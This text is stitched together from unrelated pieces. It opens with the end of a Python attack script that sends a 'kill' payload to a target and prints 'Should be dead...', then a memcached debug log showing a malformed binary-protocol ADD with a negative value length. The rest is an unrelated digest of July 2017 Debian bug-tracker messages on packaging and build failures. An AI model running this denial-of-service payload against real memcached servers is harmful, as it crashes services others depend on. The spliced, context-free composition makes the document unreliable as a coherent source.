hax = socket.socket ( socket.AF_INET, socket.SOCK_STREAM )
try:
hax.connect((target, int(port)))
print "[+] Connected, firing payload!"
except:
print "[-] Connection Failed... Is there even a target?"
sys.exit(1)
try:
hax.send(kill)
print "[+] Payload Sent!"
except:
print "[-] Payload Sending Failure... WTF?"
sys.exit(1)
hax.close()
print "[*] Should be dead..."

<26 new auto-negotiating client connection
26: going from conn_new_cmd to conn_waiting
26: going from conn_waiting to conn_read
26: going from conn_read to conn_parse_cmd
26: Client using the binary protocol
<26 Read binary protocol data:
<260x80 0x12 0x00 0x01
<260x08 0x00 0x00 0x00
<260xff 0xff 0xff 0xe8
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
<260x00 0x00 0x00 0x00
26: going from conn_parse_cmd to conn_nread
<26 ADD x Value len is -33
>26 Writing an error: Out of memory allocating item
>26 Writing bin response:
>26   0x81 0x12 0x00 0x00
>26   0x00 0x00 0x00 0x82
>26   0x00 0x00 0x00 0x1d
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
>26   0x00 0x00 0x00 0x00
26: going from conn_nread to conn_mwrite
26: going from conn_mwrite to conn_swallow
26: going from conn_swallow to conn_new_cmd
26: going from conn_new_cmd to 

Bug#861617: RFS: ddcutil/0.8.0-6 [ITP] - control monitor settings

[Sanford Rockowitz]

Andrey,

Thank you for your comments.  This being my fist debian submission, I 
want to make sure there are not too many cooks in the kitchen before 
uploading a new version.  Back at the beginning of May, Stephen Kitt had 
offered to co-maintain and sponsor the project.   However, nothing has 
happened since.   Stephen, what you you like me to do?


Assuming that I'm uploading a new version, some comments and questions.

1) I will create a debian directory that exists solely for the debian 
submission (i.e. not PPA, not OBS).  This should clean things up.
2) IIRC, I was forced to increment the Debian release by 
debain-mentors.  A failed submission "used up" a debian release number 
and blocked a corrected submission with the same release number.  Is 
there some way around this?
3) I will eliminate packages libddcutil0 and libddcutil-dev.  The shared 
library does not (yet) implement all the functionality needed by the 
command line application, which is why ddcutil is not linked against 
libddcutil0, and it is subject to change from user feedback and as the 
Python API is implemented. Those wishing to experiment the the API can 
get the shared library from my site or OBS.


Sanford



On 07/24/2017 03:11 PM, Andrey Rahmatullin wrote:

Control: tags -1 + moreinfo

Please remove all unneeded files from debian/.
Please remove commented out sample lines from debian/rules.
You shouldn't "Bump Debian release for debian-mentors". Please remove all
changelog entries (both old upstream ones and recent bumps) and add oe
correct entry.
Please switch to the debhelper compat level 10.
B-D: libglib2.0-0 looks wrong.
Please update to the current Standards-Version version.
Please fix and uncomment Vcs-Browser.
Adding explicit Depends: on library packages is usually wrong.
Please remove unneeded comments from debian/control.
Please drop debian/menu.
Consider adding the symbols file.
Please don't ship .la.
I'd expect ddcutil to be linked against libddcutil0.

Bug#869541: lintian warns both with and without autotools-dev build-dep

[Chris Lamb]

tags 869541 + pending
thanks

Fixed in Git:

  
https://anonscm.debian.org/git/lintian/lintian.git/commit/?id=d78d475e6cdf000fcb879dc3a2788773c7536917


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb, Debian Project Leader
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#869588: libcap2 FTBFS: error: conflicting types for '__cap_lookup_name'

[Helmut Grohne]

Control: tags -1 + patch

I'm not super happy with the attached patch, but it makes libcap2 build.
Please consider improving it. :)

Helmut
diff --minimal -Nru libcap2-2.25/debian/changelog libcap2-2.25/debian/changelog
--- libcap2-2.25/debian/changelog   2016-05-01 10:23:13.0 +0200
+++ libcap2-2.25/debian/changelog   2017-07-24 17:49:34.0 +0200
@@ -1,3 +1,10 @@
+libcap2 (1:2.25-1.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix FTBFS with gperf 3.1. (Closes: #869588)
+
+ -- Helmut Grohne   Mon, 24 Jul 2017 17:49:34 +0200
+
 libcap2 (1:2.25-1) unstable; urgency=medium
 
   * New upstream release. LP: #1451601
diff --minimal -Nru libcap2-2.25/debian/control libcap2-2.25/debian/control
--- libcap2-2.25/debian/control 2016-05-01 10:23:13.0 +0200
+++ libcap2-2.25/debian/control 2017-07-24 17:49:04.0 +0200
@@ -6,7 +6,7 @@
 debhelper (>= 9),
 indent,
 libpam0g-dev,
-gperf,
+gperf (>= 3.1),
 Standards-Version: 3.9.8
 Homepage: http://sites.google.com/site/fullycapable/
 Vcs-Git: https://anonscm.debian.org/git/collab-maint/libcap2.git
diff --minimal -Nru libcap2-2.25/debian/patches/Hide-private-symbols.patch 
libcap2-2.25/debian/patches/Hide-private-symbols.patch
--- libcap2-2.25/debian/patches/Hide-private-symbols.patch  2016-05-01 
10:23:13.0 +0200
+++ libcap2-2.25/debian/patches/Hide-private-symbols.patch  2017-07-24 
17:49:34.0 +0200
@@ -5,10 +5,14 @@
 Hide a symbol which is clearly meant to be private. This resolves a FTBFS in
 combination with the new build dependency gperf.
 
+Also update the signature of __cap_lookup_name for gperf 3.1.
+
 Closes: #793311
+Closes: #869588
 
 Bug-Debian: https://bugs.debian.org/793311
-Last-Update: 2015-10-02
+Bug-Debian: https://bugs.debian.org/869588
+Last-Update: 2017-07-24
 ---
  libcap/Makefile | 2 +-
  1 file changed, 1 insertion(+), 1 deletion(-)
@@ -22,7 +26,7 @@
  
  $(GPERF_OUTPUT): cap_names.list.h
 -  perl -e 'print "struct __cap_token_s { const char *name; int index; 
};\n%{\nconst struct __cap_token_s *__cap_lookup_name(const char *, unsigned 
int);\n%}\n%%\n"; while ($$l = <>) { $$l =~ s/[\{\"]//g; $$l =~ s/\}.*// ; 
print $$l; }' < $< | gperf --ignore-case --language=ANSI-C --readonly 
--null-strings --global-table --hash-function-name=__cap_hash_name 
--lookup-function-name="__cap_lookup_name" -c -t -m20 $(INDENT) > $@
-+  perl -e 'print "struct __cap_token_s { const char *name; int index; 
};\n%{\nstatic const struct __cap_token_s *__cap_lookup_name(const char *, 
unsigned int);\n%}\n%%\n"; while ($$l = <>) { $$l =~ s/[\{\"]//g; $$l =~ 
s/\}.*// ; print $$l; }' < $< | gperf --ignore-case --language=ANSI-C 
--readonly --null-strings --global-table --hash-function-name=__cap_hash_name 
--lookup-function-name="__cap_lookup_name" -c -t -m20 $(INDENT) > $@
++  perl -e 'print "struct __cap_token_s { const char *name; int index; 
};\n%{\n#include \nstatic const struct __cap_token_s 
*__cap_lookup_name(const char *, size_t);\n%}\n%%\n"; while ($$l = <>) { $$l =~ 
s/[\{\"]//g; $$l =~ s/\}.*// ; print $$l; }' < $< | gperf --includes 
--ignore-case --language=ANSI-C --readonly --null-strings --global-table 
--hash-function-name=__cap_hash_name --lookup-function-name="__cap_lookup_name" 
-c -t -m20 $(INDENT) > $@
  
  cap_names.list.h: Makefile $(KERNEL_HEADERS)/linux/capability.h
@echo "=> making $@ from $(KERNEL_HEADERS)/linux/capability.h"

Bug#869606: [Pkg-fonts-devel] Bug#869606: fonts-liberation: all fonts resolve to mono

[Fabian Greffrath]

Am Montag, den 24.07.2017, 22:51 +0200 schrieb Denis Danilov:
> and it is the same for any fc-match -a ... command, like
> fc-match -a serif
> fc-match -a qwery

I see, what happens for "fc-match Arial" or "fc-match Helvetica"?

 - Fabian


signature.asc
Description: This is a digitally signed message part

Bug#826701: Same error with 5.0.6+dfsg1-1

[Kingsley G. Morse Jr.]

Hi Anton,

Thanks for replying so quickly.

I seem to have worked around the problem by doing

$ dpkg -i --force-overwrite 
/var/cache/apt/archives/gnuplot-data_5.0.6+dfsg1-1_all.deb
$ apt-get -f install

So,
Kingsley

On 07/24/2017 21:47, Anton Gladky wrote:
> Hi,
> 
> the upgrade 4.6.6-3 -> 5.0.6+dfsg1-1 is not supported. The only
> supported upgrade between stable versions: 4.6.6-3 -> 5.0.5+dfsg1-6+deb9u1.
> 
> All other combination are not guaranteed.
> 
> Best regards
> 
> Anton
> 
> 
> 2017-07-24 21:09 GMT+02:00 Kingsley G. Morse Jr. :
> > Hey guys,
> >
> > Thank you very much for maintaining gnuplot.
> >
> > I love how many options it has.
> >
> > I happened to notice this report's bug seems to
> > also be in a newer version.
> >
> > It was originally reported against 5.0.3+dfsg3-1.
> >
> > I see it with 5.0.6+dfsg1-1.

-- 
Time is the fire in which we all burn.

Bug#869122: Bug#869373: Bug#869122: perl: 5.26 FTBFS on hppa: broken miniperl?

[John David Anglin]

On 2017-07-24, at 4:36 PM, Niko Tyni wrote:

> Do you know why the GCC optimization issue only seems to affect hppa+sh4?

No.

This hunk of code is wrong:

.loc 1 14875 0 is_stmt 0 discriminator 2
bl Perl_sv_2iv_flags,%r2
copy %r4,%r26
.LVL1245:
copy %r29,%r3

The above line is wrong.  r29 is potentially clobbered by the call to 
Perl_sv_2iv_flags.
It's a call clobbered register.  It sets %r3 which is responsible for the 
garbage return value.

I think this probably occurs as a result of the merging of the switch 
statements but I'm
not 100% certain.

> 
> I wonder if lowering the optimization of the affected
> code would be an easier workaround. On that note, looking
> at the build logs makes me think the cflags fiddling in
> debian/patches/debian/hppa_op_optimize_workaround.diff is still working,
> but the problem here is that op.c is linked to opmini.c for the miniperl
> build and that still gets compiled at -O2.
> 
> Does it work for you without the Perl_custom_op_get_field() code
> reorganization if you patch cflags.SH further like this?
> 
> -op) : work around http://bugs.debian.org/838613
> +op|opmini) : work around http://bugs.debian.org/838613
> 
> This should make it build both op.c and opmini.c at -O0.

Might work.

> 
> Or does this hit the hppa "-O0 -fPIC" problem again?

Again, I don't know.  I had thought the R_PARISC_DPREL21L relocation problem was
an optimization issue.  I have installed perl 5.26+b1 on a couple of systems.  
Building
libjavascript-minifier-xs-perl with it doesn't trigger the issue nor does 
building it with
DEB_BUILD_OPTIONS=noop.  Something is wrong with Adrian's build that doesn't
occur with my patched build.  buildd still has Adrian's version.

Dave
--
John David Anglin   dave.ang...@bell.net

Bug#869617: Acknowledgement (libutempter0: Helper executable multiply broken: can't add, can't del)

[Conrad Hughes]

Sorry, the subject line is somewhat erroneous since I was still testing
things when I started the bug report: I think that logout/del works —
utmpdump doesn't show all the changes I'd expect after logout/del, but
/usr/bin/w does appear to show that logout has been enacted.  The
problem is just with add, I think.

Conrad

Bug#869617: Acknowledgement (libutempter0: Helper executable multiply broken: can't add, can't del)

[Conrad Hughes]

Oh dear.  And I now realise that this is submitted under a non-existent
release version of libutempter — that's the patched version of it I
created in order to test out the core idea in the fix, sorry.  On the
offchance that it's any use, I attach the patch below.

Conrad
Description: Use ttyname, not ptsname.
 Bugfix; see changelog.
 .
 libutempter (1.1.6-4) unstable; urgency=medium
 .
   * Use ttyname, not ptsname.
Author: Conrad J.C. Hughes (for Debian package stuff) 

---
The information above should follow the Patch Tagging Guidelines, please
checkout http://dep.debian.net/deps/dep3/ to learn about the format. Here
are templates for supplementary fields that you might want to add:

Origin: , 
Bug: 
Bug-Debian: https://bugs.debian.org/
Bug-Ubuntu: https://launchpad.net/bugs/
Forwarded: 
Reviewed-By: 
Last-Update: 2017-07-24

--- libutempter-1.1.6.orig/utempter.c
+++ libutempter-1.1.6/utempter.c
@@ -241,7 +241,7 @@ main(int argc, const char *argv[])
 		exit(EXIT_FAILURE);
 	}
 
-	device = ptsname(STDIN_FILENO);
+	device = ttyname(STDIN_FILENO);
 
 	if (!device)
 	{

Bug#869587: lintian: false positive for unconditional-use-of-dpkg-statoverride

[Chris Lamb]

tags 869587 + pending
thanks

Fixed in Git:

  
https://anonscm.debian.org/git/lintian/lintian.git/commit/?id=a8e584ff5b357aa5c6887a520b2a7993f401c129


Regards,

-- 
  ,''`.
 : :'  : Chris Lamb, Debian Project Leader
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#869596: libconfig: New upstream version 1.6 on github available

[Jonathan McCrohan]

Source: libconfig
Followup-For: Bug #869596

Hi Tobi,

I am aware of this, but libconfig 1.6 is not suitable for upload to
Debian right now. At the most basic level, the SONAME has not been
bumped despite ABI breakage [1]. This is outstanding for 18 months at
this stage, and the original upstream maintainer even advises people to
revert to 1.5 for now [2].

Until these issues are fixed, I do not plan on uploading libconfig 1.6
to Debian.

Cheers,
Jon

[1] https://github.com/hyperrealm/libconfig/issues/49
[2] https://github.com/hyperrealm/libconfig/issues/47#issuecomment-220809446

Bug#822436: nestopia closes when launching roms

[Stephen Kitt]

On Thu, 20 Jul 2017 17:32:20 -0400, Aaron Valdes 
wrote:
> Thanks for the response.
> 
> Am I missing a package?

Unfortunately not ...

> glxinfo reports the following.
> 
> glxinfo | grep Open
> Vendor: Intel Open Source Technology Center (0x8086)
> OpenGL vendor string: Intel Open Source Technology Center
> OpenGL renderer string: Mesa DRI Intel(R) 852GM/855GM x86/MMX/SSE2
> OpenGL version string: 1.3 Mesa 13.0.6
> OpenGL extensions:

Nestopia 1.47 requires OpenGL 3.2, and your graphics chipset only supports
OpenGL 1.3 (as documented by Intel, see
https://www.intel.com/content/www/us/en/support/graphics-drivers/05524.html
for details).

I’ll add that to the package description.

Regards,

Stephen


pgpXNi7qkrO_l.pgp
Description: OpenPGP digital signature

Bug#844431: Status update from the Reproducible Builds project

[Adrian Bunk]

>...
> Debian Policy
> =
> 
> We are in the process of making reproducibility of packages something
> properly documented in policy.  Writing patches for policy is not easy,
> so we welcome input from everyone to be able to better consider all the
> needed facets.  See bug #844431 [16] for it.
> Also, we wish to remind everyone that Debian Policy aims at documenting
> current practices, it's not a "stick" to impose new rules.  That said,
> we believe reproducible builds to be among the best practices today.
>...

If it could be interpreted in the future to include things that are
not current practice today, it would be a stick to impose new rules.

The main problem is the lack of an exact definition what
"packages build in a reproducible manner" includes, and what not.

Bill already explained that "it is possible to reproduce" is a much 
easier problem to solve than "it will always be reproduced".

I would suggest a top-down approach to that:

What are the high-level guarantees reproducible builds plans to make 
for all packages in buster?

What exactly is required from every single package for that,
and also realistic to achieve for buster?

Once you have these plus a list of all remaining bugs, you can
go to the release team asking whether these can be considered
as release critical for buster.

At that point documenting this status quo for policy should
be straightforward.

cu
Adrian

-- 

   "Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
   "Only a promise," Lao Er said.
   Pearl S. Buck - Dragon Seed

Bug#869609: libgpg-error is unecessarily hard to bootstrap for new architectures/ABIs

[Steven Capper]

Hi,
So going through this my understanding is that for Linux this library
creates weak references to the pthread_mutex_ functions as well as
simulates the size of the pthread_mutex_t type. IIUC this obviates the
need to cross-compile against pthreads. When one loads the library,
the weak references will be overridden by the C library and, providing
the data type is the same as simulated, should operate as one is using
pthreads.

If the simulated data type does not match the system implementation, I
am not sure what behaviour will manifest.

I don't understand why one cannot cross-compile a library that makes
use of pthreads directly though? Was this weak function/type
simulation workaround needed for a bug in the past that has since been
fixed?

Have we missed something obvious?

Cheers,
--
Steve

Bug#869122: Bug#869373: Bug#869122: perl: 5.26 FTBFS on hppa: broken miniperl?

[John David Anglin]

On 2017-07-24, at 4:45 PM, John Paul Adrian Glaubitz wrote:

> On 07/24/2017 10:36 PM, Niko Tyni wrote:
>> I feel somewhat uneasy about applying a workaround patch that affects
>> all the architectures for the sake of non-release architectures.
> 
> Then just apply it conditionally in debian/rules:
> 
> ifneq (,$(filter hppa sh4, $(DEB_HOST_ARCH)))
>patch -p1 < debian/patches/hppa-fix.patch
> endif
> 
> It's not the cleanest solution, but should fix the problem.


For now, I think that is a good suggestion.  It will probably take some time to 
diagnose the
gcc bug and find a fix.

Dave
--
John David Anglin   dave.ang...@bell.net

Bug#833007: lintian: suggest adding upstream metadata

[Dylan Aïssi]

Hi,
Any news for this check?

Although some tests related to d/upstream/metadata are disabled due to
security issues, it would be very useful to know if the file is
missing.

The Debian Med project is working to add some ID (RRID, OMICtools,
etc) for software related to biomedical research and this check could
help us to identify software with missing ID (through a missing
metadata file).

Thanks.

Best regards,
Dylan

Bug#869617: libutempter0: Helper executable multiply broken: can't add, can't del

[Conrad J.C. Hughes (for Debian package stuff)]

Package: libutempter0
Version: 1.1.6-4
Severity: important

Dear Maintainer,

Hi there,

I've been looking at trying to use libutempter0 to cope with the fact
that since stretch, gnome-terminal no longer even touches utmp.  This
has been a little bumpier than anticipated, as utempter_add_record
returns without error even though it fails.  This appears to be down to
the helper program, /usr/lib/../utempter, failing, and add_record then
ignoring that fail.  If you run utempter manually you get a failure exit
status when trying to add (which utempter_add_record then ignores).

The problem seems to be utempter.c's use of ptsname() to get the device
name: this call fails.  On advice from Christian Persch on the
gnome-terminal team I tried replacing this call with ttyname(): utempter
seems to behave correctly after making this change, and indeed my
workaround for gnome-terminal then seems to work.

So it'd be great to see a patch to this to replace the
ptsname(STDIN_FILENO) call in utempter.c with a call to
ttyname(STDIN_FILENO).

Might also be worth patching the utempter library functions so that they
fail if execution of utempter fails.

Regards,
Conrad

-- System Information:
Debian Release: 9.1
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.9.0-3-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_GB:en (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages libutempter0 depends on:
ii  libc6  2.24-11+deb9u1

libutempter0 recommends no packages.

libutempter0 suggests no packages.

-- no debconf information

Bug#869509: [Pkg-emacsen-addons] Bug#869509: dh-elpa: please support tuning which emacs flavors to skip

[Sean Whitton]

Hello Aaron,

On Sun, Jul 23, 2017 at 03:10:46PM -0400, Aaron M. Ucko wrote:
> dh-elpa supplies emacsen-common install and remove scripts that
> hardcode the list of emacs flavors to skip as obsolete (GNU Emacs 23
> and below) or simply unsupported (XEmacs).  This one-size-fits-all
> approach has two drawbacks:
>  - It does not fully accommodate packages that have retained
>compatibility with some or all of the skipped flavors.
>  - It forces packages that are compatible only with Emacs 25 to
>declare outright conflicts with Emacs 24, rather than simply
>skipping byte-compilation for it.
> 
> I find the latter particularly concerning, because the former is
> easier to work around.  (Yes, I do prefer Emacs 25 myself, but I keep
> a full range of Emacs flavors installed for compatibility testing.)
> 
> Please give packages an opportunity to tune the set of flavors to
> skip, and then use this feature to retire elpa-apiwrap's,
> elpa-ghub(+)'s, and elpa-magithub's conflicts with Emacs 24.

Based on previous conversations with Rob, the situation where we have
both emacs24 and emacs25 in Debian is meant to be temporary, and for
transitional purposes -- Rob and I tried to get emacs24 removed in time
for the stretch freeze, and it only remains because we didn't manage to
do that.  The aim is not to provide both Emacs 24 and Emacs 25 to users.

That would make all addons that are not compatible with the latest
version of Emacs buggy, because they would be blocking the transition.
It seems wrong for these addons to include any code referencing emacs24,
either Conflicts: fields, or some dh-elpa configuration.  They should,
rather, be in the state we would like them to be in once we've removed
emacs24.

(I think those packages with Conflicts: fields are buggy, regardless, as
that is far too heavy-handed for packages that just don't work when you
try to use them with emacs24.)

-- 
Sean Whitton


signature.asc
Description: PGP signature

Bug#866120: diffoscope: please add an xml comparator

[Chris Lamb]

Hi Juliana,

> Just found out what was going wrong.
> 
> XMLFile returns an array with the Difference object, while the
> previous TextFile class doesn't. So test_apk was looking for a
> unified_diff in the wrong place.

Neat — looking forward to your patch! In fact, can you commit it
directly? :)

> This is easily fixed, but I've got a new question. Since XMLFile
> now returns an array, the presenter displays the difference for
> AndroidManifest file with two column pipes instead of one.
> (https://paste.debian.net/977967/)

I guess my first question would be whether other comparators that do
similar pretty-printing / decoding do the same thing, eg. JSON, etc.
etc.?


Best wishes,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org / chris-lamb.co.uk
   `-

Bug#869606: [Pkg-fonts-devel] Bug#869606: fonts-liberation: all fonts resolve to mono

[Denis Danilov]

Hi Fabian,

the output of "fc-match -a sans" is
LiberationMono-Regular.ttf: "Liberation Mono" "Regular"
LiberationSans-Regular.ttf: "Liberation Sans" "Regular"
LiberationSerif-Regular.ttf: "Liberation Serif" "Regular"
LiberationSansNarrow-Regular.ttf: "Liberation Sans Narrow" "Regular"
LiberationMono-Bold.ttf: "Liberation Mono" "Bold"
LiberationSans-Bold.ttf: "Liberation Sans" "Bold"
LiberationSerif-Bold.ttf: "Liberation Serif" "Bold"
LiberationSansNarrow-Bold.ttf: "Liberation Sans Narrow" "Bold"
LiberationMono-Italic.ttf: "Liberation Mono" "Italic"
LiberationSans-Italic.ttf: "Liberation Sans" "Italic"
LiberationSerif-Italic.ttf: "Liberation Serif" "Italic"
LiberationSansNarrow-Italic.ttf: "Liberation Sans Narrow" "Italic"
LiberationMono-BoldItalic.ttf: "Liberation Mono" "Bold Italic"
LiberationSans-BoldItalic.ttf: "Liberation Sans" "Bold Italic"
LiberationSerif-BoldItalic.ttf: "Liberation Serif" "Bold Italic"
LiberationSansNarrow-BoldItalic.ttf: "Liberation Sans Narrow" "Bold Italic"

and it is the same for any fc-match -a ... command, like
fc-match -a serif
fc-match -a qwery
...

Best,
Denis

On Mon, Jul 24, 2017 at 10:18:29PM +0200, Fabian Greffrath wrote:
> control: reassign -1 fontconfig
> 
> Hi there,
> 
> Am Montag, den 24.07.2017, 20:02 +0200 schrieb Denis Danilov:
> > if the liberation fonts are the only ttf fonts intalled on a system,
> > then
> > "Liberation Mono" will match any font by default, e.g. in docker
> > docker run -it debian:testing-slim /bin/bash
> > # apt-get update
> > # apt-get install --no-install-recommends fonts-liberation
> > # apt-get install --no-install-recommends fontconfig
> > # fc-match sans
> > LiberationMono-Regular.ttf: "Liberation Mono" "Regular"
> > # fc-match serif
> > LiberationMono-Regular.ttf: "Liberation Mono" "Regular"
> 
> this is pretty sure a bug in fontconfig itself, then, since the fonts-
> liberation package does not modify fontconfig's configuration in any
> way.
> 
> BTW, what does "fc-match -a sans" print?
> 
>  - Fabian

Bug#869122: Bug#869373: Bug#869122: perl: 5.26 FTBFS on hppa: broken miniperl?

[John Paul Adrian Glaubitz]

On 07/24/2017 10:36 PM, Niko Tyni wrote:
> I feel somewhat uneasy about applying a workaround patch that affects
> all the architectures for the sake of non-release architectures.

Then just apply it conditionally in debian/rules:

ifneq (,$(filter hppa sh4, $(DEB_HOST_ARCH)))
patch -p1 < debian/patches/hppa-fix.patch
endif

It's not the cleanest solution, but should fix the problem.

Adrian

-- 
 .''`.  John Paul Adrian Glaubitz
: :' :  Debian Developer - glaub...@debian.org
`. `'   Freie Universitaet Berlin - glaub...@physik.fu-berlin.de
  `-GPG: 62FF 8A75 84E0 2956 9546  0006 7426 3B37 F5B5 F913

Bug#869139: syslog-ng-incubator FTBFS on s390x: FAIL: modules/grok/tests/test_grok

[Niko Tyni]

On Sun, Jul 23, 2017 at 10:36:04PM +0200, gregor herrmann wrote:
> On Thu, 20 Jul 2017 22:50:00 +0300, Adrian Bunk wrote:
> 
> > https://buildd.debian.org/status/fetch.php?pkg=syslog-ng-incubator=s390x=0.5.0-5=1500577713=0
> 
> >   
> > ###
> >   #
> >   # FAIL: ASSERTION FAILED: Named capture didn't stored;  actual_length=0 
> > expected_length=5,
> >   #  actual=   '',
> >   #  expected= 'value'
> >   #
> >   
> > ###
> > 
> > FAIL modules/grok/tests/test_grok (exit status: 1)
> 
> Confirmed on zelenka in the s390x-sid chroot.

Just for the record, this seems to be specific to 64-bit big endian
platforms as it failed on ppc64 and sparc64 too.

Hope this helps a bit,
-- 
Niko Tyni   nt...@debian.org

Bug#869616: Kodi Remote-Control-Interface repeats always the same key

[Harry Haller]

package: kodi
version: 2:17.1+dfsg1-3
severity: normal

Dear Maintainer !

When I use a key of my my Medion X10-remote-control (compatible to Ati remote-
control) the first time after Kodi-start, it is repeated always until I use the 
same key-function on my keyboard. Maybe it is a problem of Kodi at all, but it 
is a Debian-package. I have just dist-upgraded from Jessie to Stretch. My 
Kernel is linux-image-4.9.0-3-686-pae (4.9.30-2+deb9u) with nvidia-
legacy-340xx-kernel-dkms (340.102-1) and so on. I use lirc (0.9.4.c-9). Here's 
a part of lsmod:

rc_medion_x10  16384  0
ati_remote 20480  0
rc_core24576  3 rc_medion_x10,ati_remote

The error is reproduceable: I just have to start kodi again.

Best regards
Juwe (Harry Haller)

Bug#869546: apt fails updating itself

[Julian Andres Klode]

On Mon, Jul 24, 2017 at 06:52:27PM +0100, Vincent Lefevre wrote:
> The "Unpacking apt (1.4.7) over (1.4.6)" requires a lock, right?
> Could the error be due to this lock (because of some race condition
> somewhere)?

We know that there has always been a race and we have a fix planned 
for it. Please read the backlog (sorry I did not post to your bug
back when I devised it), specifically:

> See https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=850417 
> and https://lists.debian.org/debian-dpkg/2017/01/msg00044.html 
> for more details.

(the latter obviously) :)
-- 
Debian Developer - deb.li/jak | jak-linux.org - free software dev
  |  Ubuntu Core Developer |
When replying, only quote what is necessary, and write each reply
directly below the part(s) it pertains to ('inline').  Thank you.

Bug#869615: mitmproxy: uninstallable in unstable (Depends: python-hyperframe (< 5) but 5.1.0-1 is to be installed)

[Antonio Terceiro]

Package: mitmproxy
Version: 0.18.2-6
Severity: serious
Justification: Policy 3.5

$ sudo apt install mitmproxy
Reading package lists... Done
Building dependency tree
Reading state information... Done
Some packages could not be installed. This may mean that you have
requested an impossible situation or if you are using the unstable
distribution that some required packages have not yet been created
or been moved out of Incoming.
The following information may help to resolve the situation:

The following packages have unmet dependencies:
 mitmproxy : Depends: python-hyperframe (< 5) but 5.1.0-1 is to be installed
E: Unable to correct problems, you have held broken packages.


-- System Information:
Debian Release: buster/sid
  APT prefers unstable-debug
  APT policy: (500, 'unstable-debug'), (500, 'testing-debug'), (500, 
'unstable'), (500, 'testing'), (1, 'experimental-debug'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.11.0-2-amd64 (SMP w/4 CPU cores)
Locale: LANG=pt_BR.UTF-8, LC_CTYPE=pt_BR.UTF-8 (charmap=UTF-8), 
LANGUAGE=pt_BR.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages mitmproxy depends on:
ii  python   2.7.13-2
pn  python-backports.ssl-match-hostname  
pn  python-blinker   
pn  python-brotli
pn  python-certifi   
pn  python-click 
pn  python-configargparse
pn  python-construct 
ii  python-cryptography  1.9-1
pn  python-cssutils  
pn  python-flask 
pn  python-h2
pn  python-hpack 
pn  python-html2text 
pn  python-hyperframe
pn  python-jsbeautifier  
ii  python-lxml  3.8.0-1+b1
ii  python-openssl   16.2.0-1
pn  python-passlib   
ii  python-pil   4.1.1-3
ii  python-pyasn10.1.9-2
ii  python-pyparsing 2.1.10+dfsg1-1
pn  python-pyperclip 
ii  python-requests  2.12.4-1
ii  python-six   1.10.0-4
pn  python-tornado   
pn  python-typing
pn  python-urwid 
pn  python-watchdog  

Versions of packages mitmproxy recommends:
pn  python-pyperclip  

mitmproxy suggests no packages.


signature.asc
Description: PGP signature

Bug#869122: Bug#869373: Bug#869122: perl: 5.26 FTBFS on hppa: broken miniperl?

[Niko Tyni]

On Mon, Jul 24, 2017 at 02:01:16PM -0400, John David Anglin wrote:
> On 2017-07-24, at 6:45 AM, John Paul Adrian Glaubitz wrote:
> 
> > On Sun, Jul 23, 2017 at 09:32:04PM -0400, John David Anglin wrote:
> >> Maybe the patch will also fix the sh build.
> > 
> > Yes, it does. I just tested the patch and I can confirm with the patch
> > applied, I can build src:perl just fine on sh4 without "noopt".
> 
> I created a gcc bug report:
> https://gcc.gnu.org/bugzilla/show_bug.cgi?id=81538

Thanks for your great work on this!

I feel somewhat uneasy about applying a workaround patch that affects
all the architectures for the sake of non-release architectures.

I can see that it's just a code reorganization that presumably avoids
the buggy gcc optimization (at least for the time being), but it's a bit
hard to feed upstream as-is and I wouldn't like to carry it for the major
architectures without upstreaming it.

Do you know why the GCC optimization issue only seems to affect hppa+sh4?

I wonder if lowering the optimization of the affected
code would be an easier workaround. On that note, looking
at the build logs makes me think the cflags fiddling in
debian/patches/debian/hppa_op_optimize_workaround.diff is still working,
but the problem here is that op.c is linked to opmini.c for the miniperl
build and that still gets compiled at -O2.

Does it work for you without the Perl_custom_op_get_field() code
reorganization if you patch cflags.SH further like this?

-op) : work around http://bugs.debian.org/838613
+op|opmini) : work around http://bugs.debian.org/838613

This should make it build both op.c and opmini.c at -O0.

Or does this hit the hppa "-O0 -fPIC" problem again?

(For sh4, the archname check on the next lines obviously needs adjustment
too.)

Thanks again, especially for filing the gcc upstream bug so we can
eventually get rid of these workarounds.
-- 
Niko

Bug#869578: intltool patch

[gregor herrmann]

Control: tag -1 + patch

On Mon, 24 Jul 2017 20:22:15 +0200, gregor herrmann wrote:

> Cf. #826471 in intltool which contains a patch.
> 
> I haven't looked if/how far it needs to be adadpted for the old
> embedded versions of intltool-update but it might serve as a starting
> point.

Here's a debdiff with the adjusted intltool-update patch.


Cheers,
gregor


-- 
 .''`.  https://info.comodo.priv.at/ - Debian Developer https://www.debian.org
 : :' : OpenPGP fingerprint D1E1 316E 93A7 60A8 104D  85FA BB3A 6801 8649 AA06
 `. `'  Member of VIBE!AT & SPI, fellow of the Free Software Foundation Europe
   `-   NP: Juilliard Ensemble, Berberian,: Différences
diff -Nru gdmap-0.8.1/debian/changelog gdmap-0.8.1/debian/changelog
--- gdmap-0.8.1/debian/changelog	2013-06-22 20:32:39.0 +0200
+++ gdmap-0.8.1/debian/changelog	2017-07-24 22:19:17.0 +0200
@@ -1,3 +1,12 @@
+gdmap (0.8.1-3.1) UNRELEASED; urgency=medium
+
+  * Non-maintainer upload.
+  * Fix "Local copy of intltool-* fails with perl 5.26":
+add a patch to fix the "Unescaped left brace in regex is illegal" errors.
+(Closes: #869578)
+
+ -- gregor herrmann   Mon, 24 Jul 2017 22:19:17 +0200
+
 gdmap (0.8.1-3) unstable; urgency=low
 
   * Import math-underlink.patch from Ubuntu, to link libm explicitly
